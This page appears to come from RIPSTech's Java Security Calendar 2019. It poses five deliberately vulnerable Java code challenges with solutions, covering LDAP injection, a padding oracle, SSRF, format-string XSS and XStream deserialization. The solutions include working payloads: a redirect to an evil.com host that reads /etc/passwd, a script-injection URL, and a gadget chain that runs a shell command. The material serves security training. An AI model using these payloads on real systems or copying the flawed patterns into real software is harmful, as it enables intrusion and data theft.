public class UserController extends HttpServlet {
  // This token is SHA-256(createTimestamp of admin user)
  private static final String api_token = "1c4e98fc43d0385e67cd6de8c32f969f371eba8ab84053858b5bfd21a2adb471";

  private static void executeCommand(String user_token, String[] cmd) {
    if (user_token.equals(api_token)) {
      // Execute shell command
    }
  }

  /**
   * Current attributes of objectClass "simpleSecurityObject":
   * createtimestamp, creatorsname, dn, entrycsn, entrydn, entryuuid, objectclass, userpassword, uuid
   */
  private static DirContext initLdap() throws NamingException {
    Hashtable<String, Object> env = new Hashtable<String, Object>();
    env.put(Context.SECURITY_AUTHENTICATION, "simple");
    env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=example,dc=org");
    env.put(Context.SECURITY_CREDENTIALS, "admin");
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
    env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:389/");
    return new InitialDirContext(env);
  }

  private static boolean userExists(DirContext ctx, String username) throws Exception {
    String[] security_blacklist = {"uuid", "userpassword", "surname", "mail", "givenName", "name", "cn", "sn", "objectclass", "|", "&"};
    for (String name : security_blacklist) {
      if (username.contains(name)) {
        throw new Exception();
      }
    }

    String searchFilter = "(&(objectClass=simpleSecurityObject)(uid="+username+"))";
    SearchControls searchControls = new SearchControls();
    searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
    NamingEnumeration<SearchResult> results = ctx.search("dc=example,dc=org", searchFilter, searchControls);
    if (results.hasMoreElements()) {
      SearchResult searchResult = (SearchResult) results.nextElement();
      return searchResult != null;
    }
    return false;
  }

  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    try {
      DirContext ctx = initLdap();
      if(userExists(ctx, request.getParameter("username"))){
        response.getOutputStream().print("User is found.");
        response.getOutputStream().close();
      }
    } catch (Exception e) {
      response.sendRedirect("/");
    }
  }
}

In line 54 the user input username is passed to the userExists() method and in line 32-49 it is checked if this user exists in the LDAP directory. The username is added to the filter string in line 40. The filter checks if the simpleSecurityObject contains an attribute with the given uid. Then the query is sent to the LDAP server in line 43 and if this user exists true is returned in line 46. This query would lead to a Blind LDAP Injection because in line 54 the attacker receives information if the query was successful or not. To prevent this the given username is checked in lines 33-38 against a blacklist. This does not prevent the LDAP Injection but only limits it because attributes like userpassword cannot be read. If you pay attention to the comment in line 20 there is the attribute createtimestamp which is not included in the blacklist and therefore can be read. With the createtimestamp of the admin user an API token was generated as you can see in line 10 and with this token it is possible to execute a shell command in the method executeCommand() in line 14. A possible injection could look like this:

1
2


?username=admin)(createtimestamp=2*  => User is found
?username=admin)(createtimestamp=20* => User is found

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


import javax.crypto.*;
import javax.crypto.spec.*;
import org.apache.commons.codec.binary.Hex;

public class Decrypter{

 @RequestMapping("/decrypt")
  public void decrypt(HttpServletResponse req, HttpServletResponse res) throws IOException, NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, NoSuchPaddingException, DecoderException, InvalidKeySpecException {

    // Payload to decrypt: 699c99a4f27a4e4c310d75586abe8d32a8fc21a1f9e400f22b1fec7b415de5a4
    byte[] cipher = Hex.decodeHex(req.getParameter("c"));
    byte[] salt = new byte[]{(byte)0x12,(byte)0x34,(byte)0x56,(byte)0x78,(byte)0x9a,(byte)0xbc,(byte)0xde};
    // Extract IV.
    byte[] iv = new byte[16];
    System.arraycopy(cipher, 0, iv, 0, iv.length);
    IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);

    byte[] encryptedBytes = new byte[cipher.length - 16];
    System.arraycopy(cipher, 16, encryptedBytes, 0, cipher.length - 16);
    SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
    // Of course the password is not known by the attacker - just for testing purposes
    KeySpec spec = new PBEKeySpec("SuperSecurePassword".toCharArray(), salt, 65536, 128);
    SecretKey key = factory.generateSecret(spec);
    SecretKeySpec secretKeySpec = new SecretKeySpec(key.getEncoded(), "AES");
    // Decrypt.
    try {
      Cipher cipherDecrypt = Cipher.getInstance("AES/CBC/PKCS5Padding");
      cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);
      byte[] decrypted = cipherDecrypt.doFinal(encryptedBytes);
      // Do something.
    } catch (BadPaddingException e) {
      res.getWriter().println("Invalid Padding!!");
    }
  }
}

In this code challenge, the method decrypt decrypts a user provided hex-encoded cypher text using an insecure AES algorithm (line 27). The previously encrypted cypher text is known to the attacker (line 10). However, the attacker has no knowledge about the encryption key and therefore the encrypted content is not known. Since the cypher text is not protected by a MAC or a signature the attacker can manipulate the IV (first 16 bytes of the cypher text) and abuse the CBC malleability to cause a BadPaddingException.

The cypher text can be decrypted without knowing the key with the Padding Oracle attack. In the worst case 16*256 requests are needed to decrypt one block. More information about the Padding Oracle attack can be found here: https://www.owasp.org/images/e/eb/Fun_with_Padding_Oracles.pdf.

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


import org.apache.commons.io.IOUtils;
import java.net.*;
import javax.servlet.http.*;

public class ReadExternalUrl extends HttpServlet {

  private static URLConnection getUrl(String target) {
    try{
      // Don't allow redirects:
      HttpURLConnection.setFollowRedirects(false);

      URL url = new URL(target);
      if(!url.getProtocol().startsWith("http"))
        throw new Exception("Must start with http!.");

      InetAddress inetAddress = InetAddress.getByName(url.getHost());
      if (inetAddress.isAnyLocalAddress() || inetAddress.isLoopbackAddress() || inetAddress.isLinkLocalAddress())
        throw new Exception("No local urls allowed!");

      HttpURLConnection conn = (HttpURLConnection) url.openConnection();
      return conn;
    }
    catch (Exception e) {
      return null;
    }
  }

  protected void doGet(HttpServletRequest request,
                       HttpServletResponse response) {
    try{
      URLConnection conn = getUrl(request.getParameter("url"));
      conn.connect();
      String redirect = conn.getHeaderField("Location");
      if(redirect != null) {
        URL url = new URL(redirect);
        if(redirect.indexOf("http://") == -1) {
          throw new Exception("No http found!");
        }
        if(getUrl(redirect.substring(redirect.indexOf("http://"))) != null) {
          conn = url.openConnection();
          conn.connect();
        }
      }
      // Output content of url
      IOUtils.copy(conn.getInputStream(),response.getOutputStream());
    }
    catch (Exception e) {
      System.exit(-1);
    }
  }
}

The parameter url is turned into an URLConnection object in line 31 through the getUrl() method. This method checks if the URL starts with http (line 13), if it is a valid external URL (line 17), and also redirects are not followed as you can see in line 10. However, this challenge allows a single redirect through the Location header (lines 33-43). If an attacker controlled URL sends an attacker controlled location header this can be exploited. There is a second getUrl() check in line 39, but since http:// only has to occur somewhere in the string the payload is pretty obvious: victim.org?url=http://evil.com/. The server has to send the HTTP header Location: https://localhost/?x=http://google.com.

In the check in line 39 only the URL after http is checked, so google.com in this case. The request is sent to https://localhost/ though with the query string x=http://google.com (line 40/41). The response body of the requested URL is printed in line 45. This is a classic Server-Side Request Forgery (SSRF) vulnerability but if you take a closer look you also see that it is a File Read vulnerability: Location: file:///etc/passwd#http://google.com

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


import javax.servlet.http.*;
import java.io.*;
import java.text.*;
import java.util.*;
import org.apache.commons.lang3.StringEscapeUtils;

public class ShowCalendar extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    try {
      response.setContentType("text/html");
      GregorianCalendar calendar = new GregorianCalendar();
      SimpleTimeZone x = new SimpleTimeZone(0, request.getParameter("id"));
      SimpleDateFormat parser=new SimpleDateFormat("EEE MMM d HH:mm:ss zzz yyyy");
      calendar.setTime(parser.parse(request.getParameter("current_time")));
      calendar.setTimeZone(x);
      Formatter formatter = new Formatter();
      String name = StringEscapeUtils.escapeHtml4(request.getParameter("name"));
      formatter.format("Name of your calendar: " + name + " and your current date is: %1$te.%1$tm.%1$tY", calendar);
      PrintWriter pw = response.getWriter();
      pw.print(formatter.toString());
    } catch(ParseException e) {
      response.sendRedirect("/");
    }
  }
}

This challenge contains a Format String Injection vulnerability. The user input name is escaped against Cross-Site Scripting (XSS) in line 17 and concatenated into a format string in line 18. Since calendar is an object, several format strings can be used here and our user input can also contain input format strings without producing an error. A format string %s calls the internal toString() function from the class java.util.Calendar which in turn calls toString() from the respective objects the Calendar object contains. In line 12 a java.util.SimpleTimeZone object is created with an unfiltered user controlled input id which is added to the Calendar object (line 15). Thus the format string in line 18 can contain a XSS payload which is inserted via the format string %s and printed in line 20 which results in a Reflective XSS vulnerability.

Proof of Concept:

1

http://victim.org/?id=<script>alert(1)</script>&current_time=Thu Jun 18 20:56:02 EDT 2009&name=%shello

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


package com.rips.demo.web;
 
import java.io.*;
import java.lang.reflect.*;
 
class Invoker implements Serializable {
 
  private String c;
  private String m;
  private String[] a;
 
  public Invoker(String c, String m, String[] a) {
    this.c = c;
    this.m = m;
    this.a = a;
  }
 
  private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
    ois.defaultReadObject();
    Class clazz = Class.forName(this.c);
    Object obj = clazz.getConstructor(String[].class).newInstance(new Object[]{this.a});
    Method meth = clazz.getMethod(this.m);
    meth.invoke(obj, null);
  }
}
 
class User implements Serializable {
  private String name;
  private String email;
  transient private String password;
 
  public User(String name, String email, String password) {
    this.name = name;
    this.email = email;
    this.password = password;
  }
   
  private void readObject(ObjectInputStream stream)
      throws IOException, ClassNotFoundException {
    stream.defaultReadObject();
    password = (String) stream.readObject();
  }
 
  @Override
  public String toString() {
    return "User{" + "name='" + name + ", email='" + email + "'}";
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


  @RequestMapping(value = "/unserialize", consumes = "text/xml")
  public void unserialize(@RequestBody String xml, HttpServletResponse res) throws IOException, ParserConfigurationException, SAXException, XPathExpressionException, TransformerException {
    res.setContentType("text/plain");
    // Parse xml string
    DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
    builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
    DocumentBuilder builder = builderFactory.newDocumentBuilder();
    Document xmlDocument = builder.parse(new InputSource(new StringReader(xml)));
    XPath xPath = XPathFactory.newInstance().newXPath();
    String expression = "//com.rips.demo.web.User[@serialization='custom'][1]";
    //only allow User objects to be unserialized!!!
    NodeList nodeList = (NodeList) xPath.compile(expression).evaluate(xmlDocument, XPathConstants.NODESET);
    // Transform node back to xml string
    Transformer transformer = TransformerFactory.newInstance().newTransformer();
    transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
    StringWriter writer = new StringWriter();
    transformer.transform(new DOMSource(nodeList.item(0)), new StreamResult(writer));
    String xmloutput = writer.getBuffer().toString();
    // Unserialze User
    User user = (User) new XStream().fromXML(xmloutput);
    res.getWriter().print("Successfully unserialized "+user.toString());
  }

This code challenge contains an Object Injection vulnerability. The user input is supplied via the @RequestBody annotation of the Spring framework and is mapped to parameter xml in line 2. The input is then parsed into a org.w3c.dom.Document instance in line 8. After parsing, the XPath expression //com.rips.demo.web.User[@serialization='custom'][1] is used to filter out the first of all com.rips.demo.web.User nodes with the attribute serialization='custom' (line 10/12). In line 17 the filtered node is then transformed back into a string and then deserialized in line 20.

There are 2 classes in the challenge, both implementing the Serializable interface, meaning that objects of these classes can be serialized. In both classes the default deserialization is overridden using the readObject method in lines 18-24 and 38-42. The method defaultReadObject() in line 19 and line 40 reads the non-transient and non-static fields of the classes from the stream. In line 41 the transient field password of the class User is manually read from the stream. This introduces a security risk since we can hide another object (of any type, not only string) within the User object which is not filtered out by the XPath expression. The sink is in line 19 in the readObject method of the Invoker class. This gadget allows us to create an arbitrary object by calling the constructor with a string array and invoking a user-controlled method of this object without arguments. With the following payload we can create a ProcessBuilder instance and execute an arbitrary shell command.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


<com.rips.demo.web.User serialization="custom">
  <com.rips.demo.web.User>
    <default>
      <email>peter@gmail.com</email>
      <name>Peter</name>
    </default>
    <com.rips.demo.web.Invoker serialization="custom">
      <com.rips.demo.web.Invoker>
        <default>
          <a>
            <string>touch</string>
            <string>abc</string>
          </a>
          <c>java.lang.ProcessBuilder</c>
          <m>start</m>
        </default>
      </com.rips.demo.web.Invoker>
    </com.rips.demo.web.Invoker>
  </com.rips.demo.web.User>
</com.rips.demo.web.User>

RIPSTech presents

Java Security Calendar 2019